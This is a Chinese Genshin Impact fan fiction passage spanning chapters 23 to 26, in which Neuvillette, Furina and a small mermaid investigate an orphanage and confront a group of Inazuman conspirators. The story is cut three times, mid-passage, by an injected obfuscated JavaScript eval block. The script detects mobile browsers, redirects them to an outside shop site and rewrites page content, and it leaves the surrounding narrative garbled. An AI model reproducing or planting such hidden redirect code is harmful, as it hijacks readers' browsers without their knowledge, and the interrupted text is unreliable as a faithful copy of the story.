把泡泡还回去,空了手的芙宁娜环抱着胸,侧扭头,“哼”了声,三分不愿,三分不屑,三分不舍,一分略显受伤的神情宛若调色板般挂在脸上。 “不~~呀~” 泡泡在那维莱特手上也震了震。 伊芮娅知道那维莱特能看见它的动作,于是两臂张开,一手指了指那维莱特,一手点了点芙宁娜,扯着嗓子说道:“一七~~去~哇!” 伊芮娅发音进步很快,芙宁娜和那维莱特都听懂了它的意思,对视了一眼。 芙宁娜轻笑道:“我们的最高审判官大人忙着办案,只怕现在是没有时间,去优哉游哉地用个晚饭。” 伊芮娅脸上期待的小表情逐渐转变为失落,扁着嘴,“咿呀嘛呀”了几声,尾巴从泡泡底部探出来个尖尖角,悄悄探进那维莱特的手套里,蹭了蹭,像是在撒娇。 那维莱特目光垂落,流光溢彩的泡泡阻隔了它向下望去的视线,手腕渐渐感受到湿润的,如羽毛轻扫般的拨弄。 “伊芮娅。”他的目光平缓上滑,重新落到小人鱼脸上。 芙宁娜勾着唇角,一副看戏的姿态,又往那维莱特所站的砖石挪近了两块石板。 也许正是因为这一点点的距离变化,芙宁娜所在的位置比以前离得近了,也就使得那维莱特的声音,听上去好似莫名有些发干。 伊芮娅摆弄着尾巴,恳切地回望过去,小小的身影,倒映在他眼中。 片刻后,那维莱特最终半是无奈,半是宠溺勾起唇角,吐出“也好”两字。 “哎哎哎?”芙宁娜掩唇大惊,“你你你,你还是那维莱特吧,不会是被什么鬼东西上身了?” 那维莱特眼底划过一丝困惑,问道:“何出此言?” “我虽然不知道那位奥什么的警备队副队长和案件之间存在着什么联系,但看他刚刚的表现,又是攻击你,又是攻击其他子民的,很明显是涉案人员啊。” 芙宁娜右手食指摩挲着下巴,围着那维莱特半是打量,半是审视地绕了一圈。 她退后几步,食指竖起来,摇了摇,“不对,不对,我熟悉的那维莱特,可不会像你一样。” 面对芙宁娜,那维莱特一时也不知道该说什么。 要如何证明自己就是自己呢? 不过幸好芙宁娜也就只是话赶话这么一说,没有真的怀疑那维莱特的身份。 毕竟他刚刚可是在没有神之眼的情况下,用出了水元素的力量。 旁的好糊弄,这一点确实是完全无法作假。 芙宁娜甩了甩头。 “真去吃饭?”她试探道,“德波大饭店?” 那维莱特颔首应下:“可以。” 芙宁娜看他的神情不像是说笑,语气中也无半点勉强的意味,不知做何反应。 片刻后,芙宁娜拍了拍额头,“那走吧。” 随即,她转身在前引路。 心想,龙是真的龙,吃饭一定不是真的,估摸着只是哄小鱼鱼的话。 说不准只是因为从这里去档案馆,会顺带路过德波大饭店,他把使小性子的伊芮娅带过去,象征性地坐一下,然后还是把小人鱼留给她,自己先走一步去办公。 芙宁娜想了一路,很快到了德波大饭店内,坐下,点完了菜。 在等菜的时候,她一直忍着没说话,就想等着那维莱特先开口辞别。 然而,服务员都将第三个菜端上了桌,那维莱特仍旧稳稳坐在椅子上,甚至帮伊芮娅弄了个简易凳子,一直没有提离开的事。 芙宁娜觉着不可思议,又确认道:“那维莱特,你真的要和我和小鱼鱼一起用晚餐?” “是的。” “工作不急了吗?” 那维莱特沉吟片刻,眸光从伊芮娅身上移开,望着芙宁娜淡淡道:“不急这一顿饭的功夫。” “…………” 芙宁娜哑口无言,半天憋出来句,“为什么?” “事发突然,水只在奥利维尔身上留了气息,至于他的同伙,目前藏身在何处,尚未可知。”那维莱特解释道,“虽我已经下令,封锁枫丹的所有出入港口。但枫丹国土辽阔,若抓捕了奥利维尔,其余同伙有心躲藏,一时半刻也很难在短期内找到他们的行踪,并且专为此限制港口,也非长期之计。” 他这么一点,芙宁娜脑子立马转了过弯儿,接话道:“所以你故意把奥什么的给放回去,先打草惊蛇,等他仓皇逃回蛇窝之际,再一网捕尽?” “可,你怎么能确定,你惊到了蛇,蛇又会如你所愿,乖乖逃回蛇窝?” 适时服务员端来了最后一道菜,核对菜品全部上齐之后,恭恭敬敬地退出房间,合上厢门。 芙宁娜优雅地拿起叉子,挖了一小块草莓甜品,尝了尝又道:“还有,就算蛇逃了回去,你又怎么确定下网的时机呢?” 那维莱特正拿着刀叉,将鱼酱吐司面包切成方便小人鱼食用的小块。 他先是将弄好的餐碟放到伊芮娅面前,而后拿了几根牙签给它,见它开始用餐,方才抬眸回应:“你问的这些,我均无法确定。” “哈?”芙宁娜端起的茶杯,还没喝,又原样放了回去。 那维莱特继续说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317879|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “奥利维尔离开沫芒宫,到我们遇见他。从他行进的方向上看,应是直奔柔灯港而去,这一点我想应该没有疑义。” 芙宁娜和腮帮子鼓鼓的伊芮娅一齐点了点头,而后动作极其统一的,一个叉子,一个牙签,叉起吃的送入口中,边吃边听那维莱特分析。 “那么,将有三种可能。” 那维莱特道:“第一种也是概率最大的,最符合人之常情的可能,他作为最后收尾之人,去柔灯港是与早已做好离开准备的同伙汇合;第二种,他是一个已经被放弃了,只是迷惑我们视线的弃子,从他们大费周章到梅洛彼得堡劫狱的行动分析,这个可能性很小,但无法完全排除;第三种,奥利维尔包括之前发生的一系列种种事件,均是诱饵,以此转移我们的注意力,达到他们真实的目的。” 老长一段话,听得伊芮娅打了一个大大的哈欠,双眸氲出点点泪花。大概是饭饱神虚,小人鱼此时此刻瞧上去困极了。 那维莱特用食指指腹轻轻揉了揉它的发顶,想到尚留在沫茫宫里,半点愁状也没有的露西恩,继续说道:“我单纯凭感觉,私认为,是第一种与第三种的结合。” “你怎么判断的?”芙宁娜追问。 那维来特曲指,轻轻敲了敲桌子,“我觉得他们很有可能兵分两路,一路向生,一路向死。” “向死者实行计划,为达成目的奋斗。同时,他们造成的骚乱,可以帮助向生者,离开枫丹,洗白身份,生活在其他国家……”他话音顿了顿,“比如,稻妻。” 他记得,莱欧斯利曾提过,劫狱时白袍人的拳法路数是警备队统一|教习的,由此假定奥利维尔就是白袍人,他当时使用的术法很像稻妻的忍术。 而被劫走的两人中,正好有一个孤儿院院长久行浪世,是幼时从稻妻流浪到枫丹的人士。 等等! 那维莱特神色一凛。 他看过特诺法兰、福卡达、布莱特三个人的档案,这三个人在亲属父母一栏,备注均为孤儿。露西恩在之前谈话的时候,也曾明确说过,她自小在灰河的一家孤儿院长大。而且,他们还救出了久世浪行。 三个孤儿……灰河的孤儿院…… 这家孤儿院,会不会就是智源孤儿院,而这几个人,难道自幼相识…… 除此之外。 前几日,仆人特意送帖拜访。 这位至冬的外交官,专程跑这一趟,为的正是让壁炉之家接手智源孤儿院。 它真的只是一所普通的孤儿院吗? “怎么了?”芙宁娜见他突然不出声了,放下汤匙问道。 伊芮娅也不自觉停下咀嚼的动作,抬头望了过来。 没一会,那维莱特从思绪中抽离,扬唇浅笑,“无事,只是突然想起一个之前被忽视了的地方。” “你现在要过去?” 那维莱特摇头,“无须,只是我的一个猜测罢了,明日再去。” 说罢,他缓了口气,抱起不知道什么时候,在吃了一半,满是碎面包渣的盘子里睡着了的伊芮娅,“我今日的预排事项和新增事项都已处理完毕。我想,我应该早些回去,休息一晚,明日再继续工作。” 芙宁娜极其欣慰地点了点头。 某些龙,虽然有部分小人鱼的原因,但终于是知道他也是需要休息的了…… 24.Chapter 24 7.6 Saturday 一早阴霾 翌日一早,外头的天,延续了昨儿阴沉沉的风格。厚重的,密不透光的灰云压在上面,就算阳光再怎么拼命,也没有挤开哪怕一条细缝。 整个世界,光线朦胧,乍一看还以为现在刚八九点钟,初入夜晚。 从窗外向外看去,远处的建筑与树木在灰扑扑的天里,整体轮廓变得很是模糊,像是被披上了一层灰布。 好好休息了一晚,虽说元素龙没有疲惫的说法,但不知是错觉,还是旁的什么自我暗示一类。 总归,那维莱特早晨起来的时候,觉得精神气儿比前几日好上一些。 此外,就连一连几日起床困难,就差撒娇卖萌打滚赖床的伊芮娅,今早被那维莱特叫醒之后,都没有顶着满头乌鸦鸦的怨气,苦丧着小脸,整体看上去都比前几日更有活力些。 “嘛呀?”伊芮娅双手抱着早餐,尾巴翘起来,尾鳍指了指那维莱特放在一旁的日程单子。 「今天的行程是什么呀?」 这还是小人鱼头回关心这个,那维莱特下意识“嗯?”了一声。 “玩,不玩。” 那维莱特顺着伊芮娅的视线看去,那里放着的,正是之前买回来的那堆玩具。 “今天不用带玩具。”那维莱特将秘书处刚刚送来的日程表翻到背面,“我们早上……先去智源孤儿院看看。” — 枫丹廷西北智源孤儿院 — 那维莱特等小人鱼吃完早餐,仍旧是将她放进泡泡里,带着它往智源孤儿院行去。 在他离智源孤儿院还有一条街的时候,隐隐约约听见智源孤儿院所在的方向好像很是热闹。 想到他与仆人的商议,今天是6号,正是仆人接手智源孤儿院的日子。 想到这里,那维莱特脚步不由快了些。 昨夜,他就在想这个问题。 目前,他仍旧无法确定位居这几人幕后的主事或者帮凶是谁,归属于那股势力,哪个国家。 万一他们真的是一伙人,仆人主动接手智源孤儿院这个烂摊子,便是为了配合他们行动。 那他不就相当于亲手,将智源孤儿院这一重要线索拱手让予他人。 没一会,那维莱特快步来到智源孤儿院附近,只见智源孤儿院的大门口处,围了一大圈人。 这里今天有一场魔术表演,那维莱特正好赶上了最精彩的木箱逃生魔术。 伊芮娅从未见过这般场面,小脸紧紧贴在球壁上,满心满眼都被魔术师吸引了过去。 那维莱特注意到它激动且期待的小表情,停下了脚步,大致估算了一下台下观众的数量,稍作迟疑,默默操纵泡泡往上飘了十几厘米,方便伊芮娅看得更加清楚。 木箱上一秒才落了锁,下一瞬锋利的砍刀“唰”的一声,就将它横腰截断。只见木箱断成了两截,上半滚落在地,里头空空如也,下半亦是空无一物。 在场观众无不双目放光,口齿大张,神情激动,下一瞬掌声四起,口中溢美之词不绝于耳。 “没了!琳妮特小姐真的在层层束缚之下,从箱子里逃脱了!” “这也太厉害了吧,林尼先生。” “太妙了,我这辈子活了四十多年,可算是在今天,见识到了最完美的逃生魔术表演!” 那维莱特耐着性子,打算等对表演者来说最为重要的谢幕欢庆结束,再过去询问。 “所以……琳妮特小姐逃去了哪里?” 台上,林尼取下魔术帽一礼,莞尔笑道:“大家请转身,看后……” 琳妮特的身形突然出现在人群后面,摆好亮相造型。 她心神都放在了魔术上,完全没有注意站在她斜后方的那维莱特。 林尼和其他转过身来的观众却是瞧见了。 观众在惊讶过后,默默挤了挤,退了退,给那维莱特让出一条道。 林尼跨步跃下表演台,就着空出来的路,迅速穿过人群,上前,“哎呀,那维莱特大人,您也是来看魔术表演的吗?” “很精彩的魔术表演,林尼先生。”那维莱特微不可见地轻声一叹,“可否借一步说话?” “自然自然。”随后,林尼双手捻出两把扑克牌,转身对观众弯腰一礼,“今天的演出到此结束,感谢各位前来捧场,我们巡演,再会。” 林尼手指轻轻一弹,魔术牌仿佛被赋予了生命,从他的指尖轻盈飞出,仿佛满天飘舞的蝴蝶,在空中旋转、翻飞,最终隐去林尼的身形,缓缓掉落在地。 琳妮特摊手:“请。” 那维莱特跟在她后面,进了还挂有智源孤儿院牌匾的建筑,约莫五分钟后,来到了一间办公室。 看门上还未来得及取下的门牌,是以前智源孤儿院的院长办公室。 “那维莱特大人,您请坐。” 林尼倒了杯茶,放在那维莱特面前,目光在他身侧飘飘摇摇的泡泡上停留了好一会。 “多谢。” 那维莱特抬起杯子轻轻抿了一小口,开门见山道:“我找阿蕾奇诺。” 林尼眸光一闪,初次见面,没想到那维莱特已经知道了他们是愚人众。 既然没藏住,身份已经被点破,再行狡辩否认之举也没有什么意义了,他索性直接回道:“父亲大人昨天早上刚离开枫丹,返回至冬。也没有和我们说过,他什么时候会回来。” 仆人离开了?还正好赶在封关之前,这个时间极巧,可林尼和琳妮特眼底的浅埋的疑惑却做不得假。 林尼走到办公桌前,正想说什么,却意外从那维莱特的眼中看见自己的倒影,怔了两三秒之后,立马低下眼睫,挡住眼底思绪。 “哥哥。”琳妮特淡淡催促道。 林尼迟疑了片刻,最终还是从抽屉里拿出了一个信封,交给那维莱特,“父亲大人临走之前,让我把这个交给您。” 那维莱特很有礼貌地道了声谢,就地打开了信封。 里面放了写满了字的三页纸。 那维莱特刚看了个开头,猛得想起什么,微微偏头,望了一眼在泡泡内部已经无聊到,翻着肚皮躺在球底,揪着银发给自己编麻花辫的伊芮娅。 “林尼先生,能不能麻烦你表演几个容易操作,不太麻烦的小魔术?” 林尼一愣,“什么?” “笨蛋哥哥。”琳妮特突然开口。 “啊,哈哈,自然是可以的。”林尼挠了挠头,而后立马空手变了一朵彩虹蔷薇出来。 那维莱特行事很有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“父亲大人7月2日与您商谈,7月5日也就是昨天一早,才走完全部过户流程,拿到智源孤儿院的钥匙。我们早上送父亲大人到港口,下午才过来的。” “一进来就发现这里的东西,尤其是这间院长办公室里的纸制资料全部都被人翻过了。估计留下这些……”林尼指向放在角落的一个箱子,“都无关紧要,没什么价值了。” “这个箱子,稍后我派人来带走。” “好的,那维莱特大人。”林尼很干脆答应下来,等了等,接着说道,“我和琳妮特一会还有一场……” 话至一半,那维莱特和林尼对坐的办公桌下,蓦然传来一阵奇怪的动静。 “咚,咚,咚……” 屋内众人齐刷刷低头,盯着脚下的地面。 林尼抬脚,用鞋跟敲了敲地面,“奇怪,这地面听声音不像是空心的。” 回应他的,是脚下“咚咚”的声响更大了些。 在听得特别清楚的,由女子发出的一声“嘿哈”之后,办公桌正前面的四块方形地砖所覆盖的范围,开始往下飞速下降。 好巧不巧,那维莱特就坐在了,摆在四块地砖正中的那把椅子上面。 “那维莱特大人!” 林尼和琳妮特先是一惊,而后二话不说,就往下跳。 可他们刚下去没几秒,就被一股柔劲儿给重新扔了上来,衣服后摆湿了一小片。 两人想再下去却是来不及了,只得眼睁睁看着地砖抬升,恢复了原状。 25.Chapter 25 7.6 Saturday 晌午风起 地砖下降到了约莫十米深的时候,那维莱特身前出现了另一个可以上下移动的平台。 前路未知,那维莱特瞥了眼跟着他跳下来的林尼和琳妮特两人,走到下一个平台的同时,抬手轻飘飘一挥,将两人送了回去。 到底是两个小孩,跟在他身边自然不会出问题,但若是意外走散,后面发生什么就不好说了。 智源孤儿院的事,他承了仆人的情,理应照顾一下她家的小孩。 第二个平台很快下降到底,又出现了第三个平台。 那维莱特乘上第三个平台的时候,从泡泡里将小人鱼抱出来,托在掌心小心翼翼地护着。 “怕黑吗?应该很快就到了。” 伊芮娅小手握拳敲了敲胸脯,“不呀。” 一回生二回熟,比起上回一条鱼胆战心惊地缩在源水之滴里往下滚,这次它舒舒服服靠在那维莱特手上,好不惬意。 “那就好。” 黑暗渐散,前头隐隐有光透了进来,在朦胧的光中,伊芮娅望见那维莱特温柔的神情,忍不住俯身,小脸在他指腹蹭了蹭。 没一会,一直倾斜向下的通道逐渐明亮了起来。 那维莱特环视四周,“看周围建筑风格,像是来到了灰河的地界。” “嘶呀!”伊芮娅肯定地点点头,“像上呲。” 没等那维莱特回话,下头又传上来一个女声。 “哎,怎么没有反应?我看说明书,是这样操作的啊。” “大小姐不要着急。”一个听上去就像是阅历十足的男声道,“您看这机关齿轮上满是水痕铜锈,甚至还有不少缺损。从这点推断,这套机关的年岁,怕是百载往上了,多给它一些反应的时间吧。” “我听见上头有动静了!” 这一次,是一个那维莱特和伊芮娅都很熟悉的声音。 小人鱼觉得耳熟,可就是想不起来是谁的声音,懊恼地拍了拍脑袋。 “是赛德娜。”那维莱特轻轻拉住它的小手,制止了它的行为,而后用水徐徐拂过被小人鱼指甲勾起来,显得有点毛躁的头发。 “大小姐,你看,上头有东西下来了!” 听到这句话,那维莱特估摸着离地面不远了,就将小人鱼重新放回了泡泡里。 十秒钟后。 女声大呵:“大家快闪开,退后!” 伴随着“咔叽”一声,载着那维莱特的平台终于下降到了终点。 一来到下面,伊芮娅看着周围景致,甩动着的鱼鳍不自觉停了下来。 而除了藏在泡泡里的它,下面启动机关的人,和上头坐机关下来的龙,总算是打了个照面。 “那维莱特大人,怎么会是你?” “那维莱特大人,你怎么来了!” 字句相差不大,却明显情绪不一样的两道声音同时响起。 对比起蹦跳着上前,意外见到那维莱特很是欢喜,又望见泡泡,想到里头的小鱼鱼,惊喜更上一重,笑得已经咧开了嘴的赛德娜。 右手还搭在斧柄上,吃惊的表情很快平复,眼底酝酿起风云漩涡,却又缓缓归于平淡如幽潭的娜维娅,就显得不是很待见那维莱特了。 “……”那维莱特一愣,解释道,“我此来调查智源孤儿院,坐在院长办公室与现任负责人谈话,听到地下传出动静之后,机关启动,就将我带到了下面。” 娜维娅没什么表情地点点头:“原来是这样。” “大小姐,注意控制情绪。”站在娜维娅右后方的迈勒斯,悄悄上前半步,拉了拉她的衣袖,轻声提醒道。 “你们如何会出现在这里?”那维莱特问。 “前几日,我来到灰河,在找到娜维娅小姐的住处,在交谈之后。如您所……”赛德娜回头看了一眼娜维娅,“如……如我所料,刺玫会也在查橡皮球杀人案。” “我们就交换整合了一下双方线索,开始探查行动。” “娜维娅小姐很敏锐,在一通分析之后,很快由‘橡皮球’锁定了灰河的一家非法企业。” “然后我们就顺藤摸瓜,通过在这家非法企业的生产工厂里,找到的与像皮球上裹着的相同油污,来到了灰河还未开发完成的一个废弃工地里。在那里,我们看见一个鬼鬼祟祟的黑袍人,用风元素力卷了一个泡在油污里的橡皮球。” 一长段话说完,赛德娜顿了顿,喘上了一口气,继续讲道:“然后我们就跟在他的后面,一路来到了这里。” “他实力很强,我们人多,目标太大了,怕被他发现,就一直远远跟在后面。前天,他来到这里一眨眼的功夫,就消失了。”赛德娜指了指后头隔了有两百米的一个拐角处,“这里太空旷了,我们当时都躲在那堵墙后面,没有看见黑袍人是怎么操作的机关。” “所以我们四个这两天一直在摆弄这个机关。早上,西尔弗先生在砖缝里找到了一张莎草纸,看着像是机关的操作说明。我们按着它上面的记载,才总算是摸索出来了点门道。” “我们以为这是一个由下向上的机关,没想到竟是自上到下的,还将那维莱特大人给带了下来。” “原是如此,辛苦你们了。”那维莱特笑道。 “所以自下而上的机关呢?”娜维娅收了武器,从口袋里掏出一张纸,小心翼翼地将它展开,“你们看说明书的毛边,很明显就是被人撕过的样子。这一半是上到下,那被撕下的一半,应该记载的就是下到上的机关了。” “方才那维莱特大人说上面是智源孤儿院。”娜维娅扭头,摊开手掌,迈勒斯立马从怀里掏出一个魔术口袋,又从里面拿出一份文件,翻开,“根据刺玫会的探查,那家非法企业办公区的前身,是一家名叫利本智和的流浪儿童救助机构。” “其机构成立者,是一个名叫久世琴子的稻妻女人。在她病逝之后,现在这家非法企业赶走了久世琴子的一对儿女,强占了这块地皮。” 她把文件翻到最后一页,一边抬着给那维莱特看,一边补充道:“看照片,在前久破获的儿童器官买卖案里被抓的久世浪行,与这位久世琴子,相貌上足有七成相似。” “我合理怀疑像皮球杀人案的凶手,与儿童器官买卖案,有很大的关联,甚至他们是一批人。这个连通到智源孤儿院的机关,也印证了这点。” 那维莱特点了点头,肯定了她的说法,随之轻叹道:“凶手是谁,实际上已经知道了。现在是没有证据,无法将凶手合理合法地捉拿归案。” “逐影庭的查案进度什么时候这么快了?”西尔弗大惊,本能出口道。 话音刚落,他就甩了自己一嘴,强行挽尊道:“那维莱特大人,我绝对没有说逐影庭办事按手续,查案看流程,效率堪比蜗牛爬树,乌龟渡海极其低下的意思。” “蒸汽鸟报上的打油诗?写得不错。”那维莱特神色平和,一本正经地评价道。 “啊哈哈。”西尔弗挠了挠后脑勺,没敢吭气。 那维莱特也没在意,接着说道:“确实并非逐影庭效率高,是作案的凶手们,根本没有隐藏的意思……” 他捡着案件重点,尤其是奥利维尔销毁证据那一部分,同几人大概讲了下。 “这可如何是好?”迈勒斯发愁地摸着胡须,“按枫丹的法律,必须要证据链齐全,才能定案庭审,证据被毁……这……难办了啊。” 娜维娅拍了拍迈勒斯的肩膀,鼓气道:“先别说这些丧气话。如今,我们已经知道了凶手,便没有在这停留的必要了。除了那条丝带,一定还有其他证据,他们不是神明,不可能完美犯罪,不留一丝痕迹。” 那维莱特紧接着开口,“你们在这里,还有其他发……” “咿呀!” 四人寻声来源,八只眼睛齐刷刷地望向那维莱特身侧飘着的泡泡。 泡泡的本质还是源水之滴,若是那维莱特没有刻意往上施加一层隔音术的话,声音是可以穿过水传播的。 “它是圆球……兽?”娜维娅问道。 那维莱特眉头拧起,面对三人疑惑的目光,迟疑了好一会,答道:“是我捡到的一只鱼类幼崽。它岁数太小,沫芒宫内无人方便照顾,就带在了身边。” 说罢,他托起泡泡,伸手进去,慢慢抚摸着小人鱼的头发,安抚它,“没关系的伊芮娅,你不用对此感到抱歉。” 顿了顿,那维莱特用尽可能柔和的语气,哄道:“我明白,你不是胡闹的小鱼。可以告诉我,你刚刚发现了什么吗?” 伊芮娅见他没有生气,慌乱的情绪逐步平复了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好的,那维莱特大人。我们回去会即刻通知沫芒宫派人过来,您注意安全。”娜维娅当机立断道。 那维莱特等他们离去后,往泡泡上施加了三层防护罩,才迈出拐角,稳步走到诡异小屋的门前。 他抬起手,将手掌贴在门上,用力一推。 一层,又叠加着一层的乌黑阵法符文浮现出来。 那维莱特从没见过这种阵法,也不知道如何破解。 但在提瓦特,所有限制承受类的术法,都有一个共同的特点,便是它们一定有一个承受的上限。 也就是说,如果赶时间,同时又不想花功夫的话,最方便的破解之法,便是硬灌伤害。 只要成本舍得砸,输出堆得足够高,就没有砍不死的木桩子。 水,一滴一滴紧贴着门滑落在地。 下一瞬,木门剧烈晃动了起来,在“咔吱”一声之后,就像林尼的魔术木箱道具一般,从中间断成两半,切口笔直而又光滑。 “谁!” 与屋内躲藏之人惊吓出声相伴的,是凳子脚与地面发出了刺耳的摩擦声。 那维莱特不慌不忙地跨步进屋,借着身后打进来的光线,和正中圆桌上点着的蜡烛,看清了里面,身披宽袍,头带帷帽,面具却放在圆桌上的两个人。 一黑一黄,正是从梅洛彼得堡越狱而出的久世浪行和特诺法兰。 “那维莱特!”两人目眦欲裂,本能的化出武器,握在手里,“你是怎么找到这里的!” 那维莱特没来得及说话,只听身后传来一个柔和的女声。 “唉,那维莱特大人,您就不能放我们一条活路吗?” “非要把我们逼到与您针锋相对的地步吗?” “大姐!您回来了!”特诺法兰喜道。 事到如今,那维莱特不用看,都知道身后之人是谁。 “露西恩,我从未逼迫过你们。” “不,那维莱特大人。”露西恩缓步绕到那维莱特身前,笑得明艳又柔美。 “出生在枫丹,生活在枫丹,对我们这般苟且于灰河的老鼠而言,已经是一种超过死亡千百倍的痛苦折磨了。” 26.Chapter 26 7.6 Saturday 下午雾浓 那维莱特嘴唇微微张开,想说什么,但话到嘴边又咽了回去,最后只化作了一声轻轻的叹息。 “怎么了,那维莱特大人。”露西恩眼底跃动着莫名地兴奋,“您是无话可说了吗?” 那维莱特看着她一反平日里温婉浅笑的形象,嘴唇咧开,癫狂的笑容占据了小半张脸,异常白净又细细密密排在一起的牙齿,瞧上去很是瘆人。 露西恩此刻的状态,已非寻常人。那维莱特与人类打了这么多年的交道,虽然他一直在刻意地与人类保持一定距离,但对人类还算得上了解。 那维莱特心里明白,露西恩已是无可救药之人。或者说,她坚定地认为自己正在行的事和做的选择,都是合理的、正确的、最好的。 任凭旁人随意批评指责,都已经改变不了她的想法观念了。 于是,那维莱特索性没有回答,而是视线跃过故意站到他面前两步距离的露西恩,望向小屋一角。 在右后方那个幽暗的角落里,立有被黑布盖着的三坨圆柱形物件。 “特诺法兰,那是什么?”那维莱特下意识问道。 到底是在枫丹政府干了好些念头,特诺法兰亦是下意识回道:“自然是早已失踪了的翠斯……” 好在刚从口中蹦出来半句话,他立即就反应了过来,赶忙收住言辞。 “那当然是我们抓来的俘虏。”久世浪行上前一步,插话道。 他拍了拍正因说错话而感到懊恼不已的特诺法兰,而后侧身走了几步,让开位置,方便那维莱特看向那个角落。 久世浪行伸手,逐一点过那三个高度不一,都被黑布蒙了一层,而且在柔软的黑布之下,还可以很明显的看见,地面上扣着几条足有一丈之粗的锁链。 “那维莱特大人不妨猜猜看,这里面都有谁?” 就在那维莱特正欲开口时,露西恩急急出声打断了他。 “浪行哥哥,你别着急。左右人还没来齐,不如我们先同那维莱特大人玩上一会。” 久世浪行拧起眉头,思索片刻,答应了下来,“也好,就这么灰溜溜地走了,我也是不太甘心。春子,你就同最高审判官大人好好辨上一场。让那维莱特大人看看,我们究竟是在做些什么。” 露西恩手背在身后,笑着连说了三个“好”字,而后突然出手,操控着一股邪风,直冲飘在那维莱特身边的泡泡而去。 伊芮娅透过泡泡可以看见外面,但有刚刚出声,在娜维娅几人面前暴露的教训,加上它见过昨日那维莱特应对奥利维尔的攻击,他只是一抬手,很轻易地就挡下了那条遮天蔽日的冰元素赖皮蛇。 伊芮娅相信那维莱特,也相信他的实力足够保护自己,心里面一点都不慌。 所以当它此刻面对着露西恩的突然袭击,它一丁点动静都没发出,就静静地摆动着尾巴,竖立着浮在泡泡里,眼睁睁看着灰色的风来到身前。 那维莱特指尖微动,泡泡前面立马出现了一道水屏障,挡住化作弯钩形状的妖风。 “我就知道,没有这么容易。”一击受挫不成,露西恩蛮无所谓地笑了笑,反手控风,拉开离那维莱特最近的一张椅子。 “请吧,那维莱特大人。等你听完我们的故事,我就放了被锁链捆住的那三个……东西。” 那维莱特从善如流地坐了下来。 随之,露西恩、久世浪行和特诺法兰也拉开椅子坐下。 “我们组织的标志,是一只脚踩海蛇的海鸥。”露西恩展手,示意那维莱特看向圆桌正中。 桌子上放了六根围成一圈的蜡烛,蜡烛中间画了一幅海鸥振翅,脚踩瞎眼海蛇的图像。 露西恩接着说道:“六根蜡烛与海鸥身上的六种颜色,分别对应了我们相依为命,一起扶持长大的六个人。” “海鸥身白,对应着象征正义的白袍使者,奥利维尔;羽灰,对应游走于黑暗边界的灰袍福卡达;黄娇,是掌握经济大权的黄袍使者,特诺法兰;赤嘴,是工于心计的红袍布莱特。” “而我与浪行,则是组织的核心,海鸥的两只眼睛,是能操纵、掌控一切的黑袍使者。至于这条深蓝色的海蛇,它是枫丹的颜色,寓意着这座腐朽的、恶臭的枫丹廷。” 她说话时,眼里闪动着狂热与激动,如同被困在铁笼子里的野兽,终于冲破束缚后,自由奔走在草原上的原始野性。 那维莱特淡淡“嗯”了一声,算是给露西恩的一点回应。 “那维莱特大人,您还不知道吧,我们都是稻妻人。”露西恩取下戴在双目上的美瞳,露出一对黑色的瞳孔,“我本名小野春子,是纯正的稻妻血脉,幼年随父母越海来到枫丹打工谋生,只可惜,这不过是从一个地狱,来到了另一个地狱。” 屋内光线的变化,似乎映射着露西恩反复波动的情绪,明明无风,围成一圈的六根烛火,却在方向各异地摇曳摆动。 “您这么高高在上的人,一定不知道在富丽堂皇的枫丹廷下,灰河是怎样一个不法的世界。在这里,没有枫丹身份的人,要靠什么,才能获取一点微薄的钱财谋生。” “我的父母……我的父母被生生累死在了灰河的黑工厂里面,我拼死跑到枫丹廷去报案,最后发了三千摩拉的补偿金,又很快被抢走,说是用来抵扣我入住流浪儿童管理机构的费用。” “照你所言,你的父母应没有经办正规的流程手续,是带你偷渡进入的枫丹地界。”那维莱特屈指,敲了敲桌子,“而劳动与报酬不对等、财物被非法抢夺占有的问题,可以和警备队反应。” “哈,说得轻巧,入境枫丹的手续费极高,普通人根本缴纳不起。和警备队反应薪酬问题更是搞笑,你们上面枫丹廷的贵人,谁愿意下来灰河?在灰河的警亭值守的,都是清一色的警备发条机关。你居然让我去和那话都不会说的机器人投诉?” 顿了顿,露西恩又道:“你也别和我说什么发条机关上有程序,如何如何操作了可以向上反应。我就请问,在灰河,有多少人受过教育,识文断字,能找得到,并且按着流程一笔一笔,用得来你们发明出来的破系统!” 那维莱特垂眸,“我回去会与水神商议,降低入关办户费用,以及增设灰河岗位,同时传信给科学院,让他们优化底层系统。” “所以你承认,这确实是枫丹的问题。” 说罢,露西恩不知道从哪里摸出三张签条,“来吧,让我们看看,善良的那维莱特大人,会抽到谁。” “……”那维莱特望着露西恩推过来的签条,沉默片刻后说道,“你继续说吧,左右这三张签条,最后你都会让我抽走,何必多此一举,徒徒浪费时间,多走一个流程。” “哈,现在觉得流程多余了?”特诺法兰怒目讽道。 露西恩收回纸条,对他比了一个请的手势。 特诺法兰也不客气,抖了抖身上的赭黄衣袍起身指着那维莱特的鼻子就骂:“你知道在枫丹想办一件事,手续流程上有多难吗?” “我是六岁的时候,投奔亲戚来的枫丹。她是我母亲的至交好友,我称呼她为干妈。一开始,一切都很顺利,干妈经营着一家小生意住在枫丹廷,不说赚大钱,最起码得温饱无虞。” “直到在我十三岁,干妈意外去世,因为我不是她的直系亲属,无权直接继承她的遗产,需要办理一整套的流程手续,证明我是干妈抚养的孩子。” 